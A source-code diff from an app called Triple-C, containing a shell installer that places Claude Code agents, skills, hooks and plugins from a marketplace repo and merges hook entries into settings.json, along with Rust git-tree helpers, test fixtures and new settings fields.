||||
src="$WORK/${kind}s/$key.md"
|
||||
dest=$(item_path "$kind" "$key")
|
||||
if [ ! -f "$src" ]; then fail "$id: missing from the payload"; continue; fi
|
||||
if occupied "$dest" && ! owned "$id"; then
|
||||
skip "$id" "~/.claude/${kind}s/$key.md already exists and was not installed by Triple-C"
|
||||
continue
|
||||
fi
|
||||
if ! { mkdir -p "$dir" && cp "$src" "$dest.tmp.$$" && mv -f "$dest.tmp.$$" "$dest"; }; then
|
||||
rm -f "$dest.tmp.$$"
|
||||
fail "$id: could not write $dest"
|
||||
continue
|
||||
fi
|
||||
outcome "$id" "$commit"
|
||||
record "$id" "$(jq -cn --arg c "$commit" --arg p "$dest" '{commit: $c, path: $p}')"
|
||||
;;
|
||||
skill)
|
||||
dir="$CLAUDE_DIR/skills"
|
||||
src="$WORK/skills/$key"
|
||||
dest=$(item_path skill "$key")
|
||||
if [ ! -d "$src" ]; then fail "$id: missing from the payload"; continue; fi
|
||||
if occupied "$dest" && ! owned "$id"; then
|
||||
skip "$id" "~/.claude/skills/$key already exists and was not installed by Triple-C"
|
||||
continue
|
||||
fi
|
||||
if ! { mkdir -p "$dir" && rm -rf "$dest" && cp -R "$src" "$dest"; }; then
|
||||
fail "$id: could not write $dest"
|
||||
continue
|
||||
fi
|
||||
outcome "$id" "$commit"
|
||||
record "$id" "$(jq -cn --arg c "$commit" --arg p "$dest" '{commit: $c, path: $p}')"
|
||||
;;
|
||||
hook)
|
||||
src="$WORK/hooks/$key"
|
||||
dest=$(item_path hook "$key")
|
||||
entries=$(jq -c --arg k "$key" \
|
||||
'first(.items[] | objects | select(.kind == "hook" and .key == $k) | .settings) // {}' "$MANIFEST")
|
||||
if ! printf '%s' "$entries" | jq -e 'type == "object" and all(.[]; type == "array")' >/dev/null 2>&1; then
|
||||
skip "$id" "its hook settings are not an object of arrays"
|
||||
continue
|
||||
fi
|
||||
if [ ! -d "$src" ]; then fail "$id: missing from the payload"; continue; fi
|
||||
if ! { rm -rf "$dest" && cp -R "$src" "$dest"; }; then
|
||||
fail "$id: could not write $dest"
|
||||
continue
|
||||
fi
|
||||
# Reported only once its entries are in settings.json (see below).
|
||||
printf '%s\t%s\n' "$(outcome_of "$id" "$commit")" "$id" >>"$R/hook_pending"
|
||||
record "$id" "$(jq -cn --arg c "$commit" --arg p "$dest" --argjson e "$entries" \
|
||||
'{commit: $c, path: $p, entries: $e}')"
|
||||
;;
|
||||
*)
|
||||
skip "$id" "unknown item kind"
|
||||
;;
|
||||
esac
|
||||
done <"$R/items.tsv"
|
||||
|
||||
# ── Removals (non-plugin) ────────────────────────────────────────────────────
|
||||
cut -f1 "$R/newstate" >"$R/new_ids"
|
||||
jq -r '.items | keys[]' "$OLD" >"$R/old_ids"
|
||||
while read -r id; do
|
||||
case "$id" in plugin:*) continue ;; esac
|
||||
if grep -qxF "$id" "$R/new_ids"; then continue; fi
|
||||
# Still selected but failed this run: keep the old files and record.
|
||||
if in_manifest "$id"; then carry_forward "$id"; continue; fi
|
||||
# Only an exact "<kind>:<key>" with a known kind names a path; anything
|
||||
# else in state is dropped without deleting anything.
|
||||
case "$id" in
|
||||
agent:* | skill:* | command:* | hook:*)
|
||||
kind=${id%%:*}
|
||||
key=${id#*:}
|
||||
;;
|
||||
*) kind="" key="" ;;
|
||||
esac
|
||||
if [ -z "$kind" ] || ! valid_key "$key" || ! path=$(item_path "$kind" "$key"); then
|
||||
fail "$id: dropped an unrecognised record from the marketplace state"
|
||||
continue
|
||||
fi
|
||||
if [ "$kind" = hook ]; then
|
||||
# Removed once its entries are out of settings.json (see below).
|
||||
printf '%s\n' "$id" >>"$R/hook_removals"
|
||||
continue
|
||||
fi
|
||||
if rm -rf "$path"; then report removed "$id"; else fail "$id: could not remove $path"; fi
|
||||
done <"$R/old_ids"
|
||||
|
||||
# ── Hook entries in settings.json ────────────────────────────────────────────
|
||||
# shellcheck disable=SC2016 # jq program, not shell
|
||||
MERGE_ENTRIES='[.[] | .entries? // empty]
|
||||
| reduce .[] as $e ({}; reduce ($e | to_entries[]) as $x (.; .[$x.key] += $x.value))'
|
||||
OLD_HOOKS=$(jq -c "[.items[]] | $MERGE_ENTRIES" "$OLD")
|
||||
NEW_HOOKS=$(cut -f2- "$R/newstate" | jq -cs "$MERGE_ENTRIES")
|
||||
HOOKS_FAILED=0
|
||||
if [ "$OLD_HOOKS" != "{}" ] || [ "$NEW_HOOKS" != "{}" ]; then
|
||||
# A dotfiles symlink stays a symlink: write through to its target.
|
||||
target="$SETTINGS"
|
||||
if [ -L "$SETTINGS" ]; then
|
||||
target=$(readlink -f "$SETTINGS" 2>/dev/null) || target=""
|
||||
fi
|
||||
tmp="$target.tmp.$$"
|
||||
# settings.json may hold secrets and the entrypoint keeps it 0600: create
|
||||
# the replacement private and keep it that way (pre-flight N11).
|
||||
saved_umask=$(umask)
|
||||
umask 077
|
||||
if [ -z "$target" ] || { [ -e "$target" ] && [ ! -f "$target" ]; }; then
|
||||
HOOKS_FAILED=1
|
||||
fail "~/.claude/settings.json is not a regular file, so hook changes were not applied"
|
||||
elif [ -f "$target" ] && ! jq -s '
|
||||
if length == 0 then {}
|
||||
elif length == 1 and (.[0] | type) == "object" then .[0]
|
||||
else error("not a JSON object") end' "$target" >"$R/current.json" 2>/dev/null; then
|
||||
HOOKS_FAILED=1
|
||||
fail "~/.claude/settings.json is not a JSON object, so hook changes were not applied"
|
||||
else
|
||||
# Missing, empty and whitespace-only files all read as {}.
|
||||
[ -f "$target" ] || printf '{}\n' >"$R/current.json"
|
||||
if jq --argjson old "$OLD_HOOKS" --argjson new "$NEW_HOOKS" '
|
||||
def remove_first($x):
|
||||
(to_entries | map(select(.value == $x)) | first(.[].key) // null) as $i
|
||||
| if $i == null then . else del(.[$i]) end;
|
||||
reduce ($old | to_entries[]) as $ev (.;
|
||||
if (.hooks[$ev.key] | type) == "array"
|
||||
then reduce $ev.value[] as $g (.; .hooks[$ev.key] |= remove_first($g))
|
||||
else . end)
|
||||
| reduce ($new | to_entries[]) as $ev (.;
|
||||
.hooks[$ev.key] = ((.hooks[$ev.key] // []) + $ev.value))
|
||||
| if (.hooks | type) == "object" then .hooks |= with_entries(select(.value != [])) else . end
|
||||
| if .hooks == {} then del(.hooks) else . end
|
||||
' "$R/current.json" >"$tmp" 2>/dev/null &&
|
||||
jq -e 'type == "object"' "$tmp" >/dev/null 2>&1 &&
|
||||
mv -f "$tmp" "$target"; then
|
||||
chmod 600 "$target" ||
|
||||
fail "~/.claude/settings.json was updated but could not be made private (chmod 600)"
|
||||
else
|
||||
rm -f "$tmp"
|
||||
HOOKS_FAILED=1
|
||||
fail "~/.claude/settings.json could not be updated, so hook changes were not applied"
|
||||
fi
|
||||
fi
|
||||
umask "$saved_umask"
|
||||
fi
|
||||
if [ "$HOOKS_FAILED" = 0 ]; then
|
||||
while IFS="$TAB" read -r o id; do
|
||||
[ "$o" = none ] || report "$o" "$id"
|
||||
done <"$R/hook_pending"
|
||||
while read -r id; do
|
||||
key=${id#hook:}
|
||||
if rm -rf "$(item_path hook "$key")"; then report removed "$id"; else fail "$id: could not remove its files"; fi
|
||||
done <"$R/hook_removals"
|
||||
fi
|
||||
|
||||
# ── Plugins ──────────────────────────────────────────────────────────────────
|
||||
jq -r '.plugin_marketplaces[]?' "$OLD" >"$R/old_slugs"
|
||||
while read -r slug; do
|
||||
if ! valid_slug "$slug"; then fail "invalid plugin marketplace name"; continue; fi
|
||||
mname="triple-c-$slug"
|
||||
dest="$BASE/plugins/$slug"
|
||||
if ! { rm -rf "$dest" && cp -R "$WORK/plugins/$slug" "$dest"; }; then
|
||||
fail "$mname: could not write $dest"
|
||||
continue
|
||||
fi
|
||||
if grep -qxF "$slug" "$R/old_slugs"; then
|
||||
claude_cmd plugin marketplace update "$mname" || fail "$mname: marketplace update failed"
|
||||
elif ! claude_cmd plugin marketplace add "$dest"; then
|
||||
claude_cmd plugin marketplace update "$mname" || { fail "$mname: could not be registered"; continue; }
|
||||
fi
|
||||
printf '%s\n' "$slug" >>"$R/final_slugs"
|
||||
while IFS="$TAB" read -r key commit pslug; do
|
||||
key=${key#_} commit=${commit#_} pslug=${pslug#_}
|
||||
[ "$pslug" = "$slug" ] || continue
|
||||
id="plugin:$key"
|
||||
sid="plugin:$slug/$key"
|
||||
p=$(prev_commit "$sid")
|
||||
if [ -z "$p" ]; then
|
||||
claude_cmd plugin install "$key@$mname" || { fail "$id ($mname): install failed"; continue; }
|
||||
report installed "$id"
|
||||
elif [ "$p" != "$commit" ]; then
|
||||
claude_cmd plugin uninstall "$key@$mname"
|
||||
claude_cmd plugin install "$key@$mname" || { fail "$id ($mname): reinstall failed"; continue; }
|
||||
report updated "$id"
|
||||
fi
|
||||
record "$sid" "$(jq -cn --arg c "$commit" --arg s "$slug" '{commit: $c, slug: $s}')"
|
||||
done <"$R/plugin_items"
|
||||
done <"$R/new_slugs"
|
||||
|
||||
# Plugins no longer selected.
|
||||
while read -r id; do
|
||||
case "$id" in plugin:*) ;; *) continue ;; esac
|
||||
if grep -qxF "$id" "$R/new_ids" || cut -f1 "$R/newstate" | grep -qxF "$id"; then continue; fi
|
||||
if in_manifest "$id"; then carry_forward "$id"; continue; fi
|
||||
# Name and marketplace come from the id alone ("plugin:<slug>/<key>").
|
||||
rest=${id#plugin:}
|
||||
case "$rest" in
|
||||
*/*) slug=${rest%%/*} key=${rest#*/} ;;
|
||||
*) slug="" key="" ;;
|
||||
esac
|
||||
if ! valid_key "$key" || ! valid_slug "$slug"; then
|
||||
fail "$id: dropped an unrecognised record from the marketplace state"
|
||||
continue
|
||||
fi
|
||||
if claude_cmd plugin uninstall "$key@triple-c-$slug"; then
|
||||
report removed "plugin:$key"
|
||||
else
|
||||
fail "plugin:$key (triple-c-$slug): uninstall failed"
|
||||
carry_forward "$id"
|
||||
fi
|
||||
done <"$R/old_ids"
|
||||
|
||||
# Plugin marketplaces with nothing left in them.
|
||||
cut -f2- "$R/newstate" | jq -r 'select(has("slug")) | .slug' >>"$R/final_slugs"
|
||||
while read -r slug; do
|
||||
if grep -qxF "$slug" "$R/final_slugs"; then continue; fi
|
||||
valid_slug "$slug" || continue
|
||||
claude_cmd plugin marketplace remove "triple-c-$slug" || fail "triple-c-$slug: could not be removed"
|
||||
rm -rf "$BASE/plugins/$slug"
|
||||
done <"$R/old_slugs"
|
||||
|
||||
# ── State ────────────────────────────────────────────────────────────────────
|
||||
jq -Rn '[inputs | split("\t") | { key: .[0], value: (.[1:] | join("\t") | fromjson) }] | from_entries' \
|
||||
<"$R/newstate" >"$R/items.json"
|
||||
if [ "$HOOKS_FAILED" = 1 ]; then
|
||||
# settings.json still holds the old entries, so the old records stay true.
|
||||
jq -s '.[0] as $new | .[1].items as $old
|
||||
| ($new | with_entries(select(.key | startswith("hook:") | not)))
|
||||
+ ($old | with_entries(select(.key | startswith("hook:"))))' \
|
||||
"$R/items.json" "$OLD" >"$R/items2.json" && mv -f "$R/items2.json" "$R/items.json"
|
||||
fi
|
||||
if jq -n --slurpfile it "$R/items.json" --rawfile sl "$R/final_slugs" \
|
||||
'{ version: 1, items: $it[0], plugin_marketplaces: ($sl | split("\n") | map(select(length > 0)) | unique) }' \
|
||||
>"$STATE.tmp.$$"; then
|
||||
mv -f "$STATE.tmp.$$" "$STATE"
|
||||
else
|
||||
rm -f "$STATE.tmp.$$"
|
||||
fail "the marketplace state could not be saved"
|
||||
fi
|
||||
|
||||
rm -rf "$WORK"
|
||||
emit_report
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,90 @@
|
||||
//! Test-only helpers: throwaway git repositories built with the `git` CLI, so
|
||||
//! marketplace code is exercised against real git objects over `file://`.
|
||||
//! The git plumbing itself lives in [`super::git::test_support`] (one copy).
|
||||
|
||||
use std::fs;
|
||||
|
||||
use super::git::test_support::{file_url, git, git_available};
|
||||
|
||||
pub struct GitFixture {
|
||||
pub dir: tempfile::TempDir,
|
||||
}
|
||||
|
||||
impl GitFixture {
|
||||
/// `None` (with a note on stderr) when `git` is not installed; callers skip.
|
||||
pub fn new() -> Option<Self> {
|
||||
if !git_available() {
|
||||
eprintln!("skipping: git is not installed");
|
||||
return None;
|
||||
}
|
||||
let dir = tempfile::tempdir().expect("tempdir");
|
||||
git(dir.path(), &["init", "-q", "-b", "main"]);
|
||||
Some(Self { dir })
|
||||
}
|
||||
|
||||
pub fn url(&self) -> String {
|
||||
file_url(self.dir.path())
|
||||
}
|
||||
|
||||
pub fn write(&self, path: &str, contents: &str) -> &Self {
|
||||
let p = self.dir.path().join(path);
|
||||
fs::create_dir_all(p.parent().unwrap()).unwrap();
|
||||
fs::write(&p, contents).unwrap();
|
||||
self
|
||||
}
|
||||
|
||||
pub fn write_exec(&self, path: &str, contents: &str) -> &Self {
|
||||
self.write(path, contents);
|
||||
#[cfg(unix)]
|
||||
{
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
let p = self.dir.path().join(path);
|
||||
fs::set_permissions(&p, fs::Permissions::from_mode(0o755)).unwrap();
|
||||
}
|
||||
self
|
||||
}
|
||||
|
||||
/// Commit everything and return the new commit id (40 hex).
|
||||
pub fn commit(&self, message: &str) -> String {
|
||||
git(self.dir.path(), &["add", "-A"]);
|
||||
git(
|
||||
self.dir.path(),
|
||||
&["commit", "-q", "--allow-empty", "-m", message],
|
||||
);
|
||||
git(self.dir.path(), &["rev-parse", "HEAD"])
|
||||
}
|
||||
|
||||
/// A repo with one item of every kind, committed. Returns the commit.
|
||||
pub fn with_all_kinds(&self) -> String {
|
||||
self.write(
|
||||
"agents/code-reviewer.md",
|
||||
"---\nname: code-reviewer\ndescription: Reviews code\n---\nReview the diff.\n",
|
||||
)
|
||||
.write(
|
||||
"skills/example-skill/SKILL.md",
|
||||
"---\nname: example-skill\ndescription: An example skill\n---\nDo the thing.\n",
|
||||
)
|
||||
.write(
|
||||
"commands/example-command.md",
|
||||
"---\ndescription: An example command\n---\nRun the example.\n",
|
||||
)
|
||||
.write(
|
||||
"hooks/notify-on-stop/hook.json",
|
||||
r#"{"name":"notify-on-stop","description":"Ping on stop","hooks":{"Stop":[{"hooks":[{"type":"command","command":"${HOOK_DIR}/notify.sh"}]}]}}"#,
|
||||
)
|
||||
.write_exec("hooks/notify-on-stop/notify.sh", "#!/bin/sh\necho done\n")
|
||||
.write(
|
||||
"plugins/.claude-plugin/marketplace.json",
|
||||
r#"{"name":"upstream","owner":{"name":"Test"},"plugins":[{"name":"example-plugin","source":"./example-plugin","description":"An example plugin"}]}"#,
|
||||
)
|
||||
.write(
|
||||
"plugins/example-plugin/.claude-plugin/plugin.json",
|
||||
r#"{"name":"example-plugin","version":"0.1.0"}"#,
|
||||
)
|
||||
.write(
|
||||
"plugins/example-plugin/skills/hello/SKILL.md",
|
||||
"---\nname: hello\ndescription: Says hello\n---\nSay hello.\n",
|
||||
);
|
||||
self.commit("all kinds")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,353 @@
|
||||
//! A read-only view of a repository tree at one commit.
|
||||
//!
|
||||
//! The catalog parser only ever talks to [`TreeView`], so it is tested
|
||||
//! against [`MemTree`] with no git involved, and runs in production against
|
||||
//! [`GitTree`], which reads git objects straight out of the bare cache.
|
||||
|
||||
#[cfg(test)]
|
||||
use std::collections::BTreeMap;
|
||||
|
||||
#[cfg(test)]
|
||||
use sha2::{Digest, Sha256};
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub enum EntryKind {
|
||||
File,
|
||||
Dir,
|
||||
Symlink,
|
||||
/// Anything else git can hold (submodule commits). Never installable.
|
||||
Other,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub struct DirEntry {
|
||||
pub name: String,
|
||||
pub kind: EntryKind,
|
||||
pub executable: bool,
|
||||
}
|
||||
|
||||
pub trait TreeView {
|
||||
/// Entries of the directory at `path` (`""` = root). `Ok(None)` if absent or not a dir.
|
||||
fn list_dir(&self, path: &str) -> Result<Option<Vec<DirEntry>>, String>;
|
||||
/// Contents of the regular file at `path`. `Ok(None)` if absent or not a file.
|
||||
fn read_file(&self, path: &str) -> Result<Option<Vec<u8>>, String>;
|
||||
/// Stable content id of the entry at `path`; `None` if absent.
|
||||
fn entry_id(&self, path: &str) -> Result<Option<String>, String>;
|
||||
}
|
||||
|
||||
/// Hex-encode `bytes`. Shared by [`MemTree`]'s content id (test-only) and
|
||||
/// `catalog::item_fingerprint`'s plugin-entry hash (production), so there is
|
||||
/// one hex formatter rather than two copies of the same `format!("{:02x}")`.
|
||||
pub(crate) fn hex(bytes: &[u8]) -> String {
|
||||
bytes.iter().map(|b| format!("{:02x}", b)).collect()
|
||||
}
|
||||
|
||||
/// A tree at one commit of a bare gix repository.
|
||||
pub struct GitTree {
|
||||
repo: gix::Repository,
|
||||
tree_id: gix::ObjectId,
|
||||
}
|
||||
|
||||
impl GitTree {
|
||||
pub fn open(repo_path: &std::path::Path, commit: &str) -> Result<Self, String> {
|
||||
let repo = gix::open(repo_path)
|
||||
.map_err(|e| format!("Could not open the marketplace cache: {}", e))?;
|
||||
let oid = gix::ObjectId::from_hex(commit.as_bytes())
|
||||
.map_err(|e| format!("Invalid commit id {}: {}", commit, e))?;
|
||||
let tree_id = repo
|
||||
.find_commit(oid)
|
||||
.map_err(|e| format!("Commit {} is not in the marketplace cache: {}", commit, e))?
|
||||
.tree_id()
|
||||
.map_err(|e| format!("Commit {} has no tree: {}", commit, e))?
|
||||
.detach();
|
||||
Ok(Self { repo, tree_id })
|
||||
}
|
||||
|
||||
fn root(&self) -> Result<gix::Tree<'_>, String> {
|
||||
self.repo
|
||||
.find_tree(self.tree_id)
|
||||
.map_err(|e| format!("Could not read tree {}: {}", self.tree_id, e))
|
||||
}
|
||||
|
||||
/// `(object id, mode)` of the entry at `path`, or `None`.
|
||||
fn lookup(
|
||||
&self,
|
||||
path: &str,
|
||||
) -> Result<Option<(gix::ObjectId, gix::object::tree::EntryMode)>, String> {
|
||||
if path.is_empty() {
|
||||
return Ok(Some((
|
||||
self.tree_id,
|
||||
gix::object::tree::EntryKind::Tree.into(),
|
||||
)));
|
||||
}
|
||||
let root = self.root()?;
|
||||
let entry = root
|
||||
.lookup_entry_by_path(path)
|
||||
.map_err(|e| format!("Could not look up {}: {}", path, e))?;
|
||||
Ok(entry.map(|e| (e.object_id(), e.mode())))
|
||||
}
|
||||
}
|
||||
|
||||
impl TreeView for GitTree {
|
||||
fn list_dir(&self, path: &str) -> Result<Option<Vec<DirEntry>>, String> {
|
||||
let Some((id, mode)) = self.lookup(path)? else {
|
||||
return Ok(None);
|
||||
};
|
||||
if !mode.is_tree() {
|
||||
return Ok(None);
|
||||
}
|
||||
let tree = self
|
||||
.repo
|
||||
.find_tree(id)
|
||||
.map_err(|e| format!("Could not read {}: {}", path, e))?;
|
||||
let mut out = Vec::new();
|
||||
for entry in tree.iter() {
|
||||
let entry = entry.map_err(|e| format!("Could not read {}: {:?}", path, e))?;
|
||||
let mode = entry.mode();
|
||||
let kind = if mode.is_tree() {
|
||||
EntryKind::Dir
|
||||
} else if mode.is_link() {
|
||||
EntryKind::Symlink
|
||||
} else if mode.is_blob() {
|
||||
EntryKind::File
|
||||
} else {
|
||||
EntryKind::Other
|
||||
};
|
||||
out.push(DirEntry {
|
||||
name: entry.filename().to_string(),
|
||||
kind,
|
||||
executable: mode.is_executable(),
|
||||
});
|
||||
}
|
||||
Ok(Some(out))
|
||||
}
|
||||
|
||||
fn read_file(&self, path: &str) -> Result<Option<Vec<u8>>, String> {
|
||||
let Some((id, mode)) = self.lookup(path)? else {
|
||||
return Ok(None);
|
||||
};
|
||||
if !mode.is_blob() {
|
||||
return Ok(None);
|
||||
}
|
||||
let blob = self
|
||||
.repo
|
||||
.find_blob(id)
|
||||
.map_err(|e| format!("Could not read {}: {}", path, e))?;
|
||||
Ok(Some(blob.data.clone()))
|
||||
}
|
||||
|
||||
fn entry_id(&self, path: &str) -> Result<Option<String>, String> {
|
||||
Ok(self.lookup(path)?.map(|(id, _)| id.to_string()))
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
#[derive(Debug, Clone)]
|
||||
enum MemNode {
|
||||
File { data: Vec<u8>, executable: bool },
|
||||
Symlink { target: String },
|
||||
}
|
||||
|
||||
/// In-memory tree for tests: path → node. Directories are implied by paths.
|
||||
#[cfg(test)]
|
||||
#[derive(Debug, Clone, Default)]
|
||||
pub struct MemTree {
|
||||
nodes: BTreeMap<String, MemNode>,
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
impl MemTree {
|
||||
pub fn new() -> Self {
|
||||
Self::default()
|
||||
}
|
||||
|
||||
pub fn file(mut self, path: &str, contents: &str) -> Self {
|
||||
self.nodes.insert(
|
||||
path.to_string(),
|
||||
MemNode::File {
|
||||
data: contents.as_bytes().to_vec(),
|
||||
executable: false,
|
||||
},
|
||||
);
|
||||
self
|
||||
}
|
||||
|
||||
pub fn exec_file(mut self, path: &str, contents: &str) -> Self {
|
||||
self.nodes.insert(
|
||||
path.to_string(),
|
||||
MemNode::File {
|
||||
data: contents.as_bytes().to_vec(),
|
||||
executable: true,
|
||||
},
|
||||
);
|
||||
self
|
||||
}
|
||||
|
||||
pub fn symlink(mut self, path: &str, target: &str) -> Self {
|
||||
self.nodes.insert(
|
||||
path.to_string(),
|
||||
MemNode::Symlink {
|
||||
target: target.to_string(),
|
||||
},
|
||||
);
|
||||
self
|
||||
}
|
||||
|
||||
/// Place a file so that, inside `dir`, it is listed under the literal
|
||||
/// entry name `name` — including a name `file`/`exec_file`/`symlink`
|
||||
/// could never be asked to produce because it doesn't correspond to any
|
||||
/// real filesystem path a caller here would construct: `.`, `..`, empty,
|
||||
/// or containing `/`, `\` or a NUL byte. Exists only so a test can drive
|
||||
/// `catalog::collect_dir`'s hostile-entry-name rejection without relying
|
||||
/// on incidental behaviour of path-string splitting.
|
||||
pub fn raw_named_file(mut self, dir: &str, name: &str, contents: &str) -> Self {
|
||||
let path = if dir.is_empty() {
|
||||
name.to_string()
|
||||
} else {
|
||||
format!("{}/{}", dir, name)
|
||||
};
|
||||
self.nodes.insert(
|
||||
path,
|
||||
MemNode::File {
|
||||
data: contents.as_bytes().to_vec(),
|
||||
executable: false,
|
||||
},
|
||||
);
|
||||
self
|
||||
}
|
||||
|
||||
fn is_dir(&self, path: &str) -> bool {
|
||||
if path.is_empty() {
|
||||
return true;
|
||||
}
|
||||
let prefix = format!("{}/", path);
|
||||
self.nodes.keys().any(|k| k.starts_with(&prefix))
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
impl TreeView for MemTree {
|
||||
fn list_dir(&self, path: &str) -> Result<Option<Vec<DirEntry>>, String> {
|
||||
if self.nodes.contains_key(path) || !self.is_dir(path) {
|
||||
return Ok(None);
|
||||
}
|
||||
let prefix = if path.is_empty() {
|
||||
String::new()
|
||||
} else {
|
||||
format!("{}/", path)
|
||||
};
|
||||
let mut out: BTreeMap<String, DirEntry> = BTreeMap::new();
|
||||
for (key, node) in &self.nodes {
|
||||
let Some(rest) = key.strip_prefix(&prefix) else {
|
||||
continue;
|
||||
};
|
||||
match rest.split_once('/') {
|
||||
Some((dir, _)) => {
|
||||
out.entry(dir.to_string()).or_insert(DirEntry {
|
||||
name: dir.to_string(),
|
||||
kind: EntryKind::Dir,
|
||||
executable: false,
|
||||
});
|
||||
}
|
||||
None => {
|
||||
let (kind, executable) = match node {
|
||||
MemNode::File { executable, .. } => (EntryKind::File, *executable),
|
||||
MemNode::Symlink { .. } => (EntryKind::Symlink, false),
|
||||
};
|
||||
out.insert(
|
||||
rest.to_string(),
|
||||
DirEntry {
|
||||
name: rest.to_string(),
|
||||
kind,
|
||||
executable,
|
||||
},
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(Some(out.into_values().collect()))
|
||||
}
|
||||
|
||||
fn read_file(&self, path: &str) -> Result<Option<Vec<u8>>, String> {
|
||||
match self.nodes.get(path) {
|
||||
Some(MemNode::File { data, .. }) => Ok(Some(data.clone())),
|
||||
_ => Ok(None),
|
||||
}
|
||||
}
|
||||
|
||||
fn entry_id(&self, path: &str) -> Result<Option<String>, String> {
|
||||
let mut hasher = Sha256::new();
|
||||
let mut found = false;
|
||||
let prefix = format!("{}/", path);
|
||||
for (key, node) in &self.nodes {
|
||||
if key != path && !key.starts_with(&prefix) {
|
||||
continue;
|
||||
}
|
||||
found = true;
|
||||
hasher.update(key.as_bytes());
|
||||
hasher.update([0]);
|
||||
match node {
|
||||
MemNode::File { data, executable } => {
|
||||
hasher.update([if *executable { b'x' } else { b'f' }]);
|
||||
hasher.update(data);
|
||||
}
|
||||
MemNode::Symlink { target } => {
|
||||
hasher.update(b"l");
|
||||
hasher.update(target.as_bytes());
|
||||
}
|
||||
}
|
||||
hasher.update([0]);
|
||||
}
|
||||
Ok(found.then(|| hex(&hasher.finalize())))
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn mem_tree_lists_files_dirs_and_symlinks() {
|
||||
let t = MemTree::new()
|
||||
.file("agents/a.md", "x")
|
||||
.exec_file("hooks/h/run.sh", "#!/bin/sh")
|
||||
.symlink("agents/link.md", "a.md");
|
||||
let root = t.list_dir("").unwrap().unwrap();
|
||||
assert_eq!(
|
||||
root.iter()
|
||||
.map(|e| (e.name.as_str(), e.kind))
|
||||
.collect::<Vec<_>>(),
|
||||
vec![("agents", EntryKind::Dir), ("hooks", EntryKind::Dir)]
|
||||
);
|
||||
let agents = t.list_dir("agents").unwrap().unwrap();
|
||||
assert_eq!(agents[1].kind, EntryKind::Symlink);
|
||||
let hook = t.list_dir("hooks/h").unwrap().unwrap();
|
||||
assert!(hook[0].executable);
|
||||
assert_eq!(t.list_dir("agents/a.md").unwrap(), None);
|
||||
assert_eq!(t.list_dir("missing").unwrap(), None);
|
||||
assert_eq!(t.read_file("agents/a.md").unwrap().unwrap(), b"x");
|
||||
assert_eq!(t.read_file("agents").unwrap(), None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn mem_tree_entry_id_changes_only_with_content() {
|
||||
let a = MemTree::new()
|
||||
.file("skills/s/SKILL.md", "one")
|
||||
.file("agents/x.md", "x");
|
||||
let b = MemTree::new()
|
||||
.file("skills/s/SKILL.md", "one")
|
||||
.file("agents/x.md", "changed");
|
||||
let c = MemTree::new()
|
||||
.file("skills/s/SKILL.md", "two")
|
||||
.file("agents/x.md", "x");
|
||||
assert_eq!(
|
||||
a.entry_id("skills/s").unwrap(),
|
||||
b.entry_id("skills/s").unwrap()
|
||||
);
|
||||
assert_ne!(
|
||||
a.entry_id("skills/s").unwrap(),
|
||||
c.entry_id("skills/s").unwrap()
|
||||
);
|
||||
assert_eq!(a.entry_id("nope").unwrap(), None);
|
||||
}
|
||||
}
|
||||
@@ -1,6 +1,7 @@
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
use super::gateway_settings::GatewaySettings;
|
||||
use super::marketplace::{Marketplace, MarketplaceAccount, MarketplaceInstall};
|
||||
use super::project::{ClaudeCodeSettings, EnvVar};
|
||||
|
||||
fn default_true() -> bool {
|
||||
@@ -135,6 +136,36 @@ pub struct AppSettings {
|
||||
pub gateway: GatewaySettings,
|
||||
#[serde(default)]
|
||||
pub global_claude_code_settings: Option<ClaudeCodeSettings>,
|
||||
/// Sign-in accounts for private marketplace repos. Secrets live in the
|
||||
/// OS keychain (`storage::secure::*_marketplace_token`), never here.
|
||||
#[serde(default)]
|
||||
pub marketplace_accounts: Vec<MarketplaceAccount>,
|
||||
/// Marketplace git repos the user added.
|
||||
#[serde(default)]
|
||||
pub marketplaces: Vec<Marketplace>,
|
||||
/// Items installed for every project (projects may opt out per item).
|
||||
#[serde(default)]
|
||||
pub global_marketplace_installs: Vec<MarketplaceInstall>,
|
||||
/// Whether the terminal loads `@xterm/addon-webgl`.
|
||||
///
|
||||
/// `None` is "auto", and auto is not the same answer on every platform.
|
||||
/// On Linux the app disables WebKitGTK's DMA-BUF renderer at startup (see
|
||||
/// `apply_webkit_wayland_workaround` in `main.rs`, and triple-c#34), which
|
||||
/// does not remove WebGL — it leaves it backed by software rasterisation.
|
||||
/// The addon therefore loads successfully and then renders every frame on
|
||||
/// the CPU, which is slower than the canvas renderer it would otherwise
|
||||
/// have fallen back to. So auto means enabled on macOS and Windows, and
|
||||
/// disabled on Linux.
|
||||
///
|
||||
/// `Some(true)` / `Some(false)` force it either way on any platform. A
|
||||
/// Linux user running X11, or one whose driver stack is unaffected, can
|
||||
/// turn it back on; anyone seeing terminal lag can turn it off without
|
||||
/// waiting for a release. Deliberately `Option<bool>` rather than `bool`:
|
||||
/// the zero value has to mean "we choose", not "off", or every existing
|
||||
/// settings file would silently pin the answer at whatever the default was
|
||||
/// the day it was written.
|
||||
#[serde(default)]
|
||||
pub terminal_gpu_rendering: Option<bool>,
|
||||
}
|
||||
|
||||
fn default_stt_model() -> String {
|
||||
@@ -226,6 +257,10 @@ impl Default for AppSettings {
|
||||
stt: SttSettings::default(),
|
||||
gateway: GatewaySettings::default(),
|
||||
global_claude_code_settings: None,
|
||||
marketplace_accounts: Vec::new(),
|
||||
marketplaces: Vec::new(),
|
||||
global_marketplace_installs: Vec::new(),
|
||||
terminal_gpu_rendering: None,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,387 @@
|
||||
//! Marketplace data model — see `docs/superpowers/specs/2026-09-27-marketplace-design.md`.
|
||||
//!
|
||||
//! Plain data plus the pure rules that decide what a project actually gets
|
||||
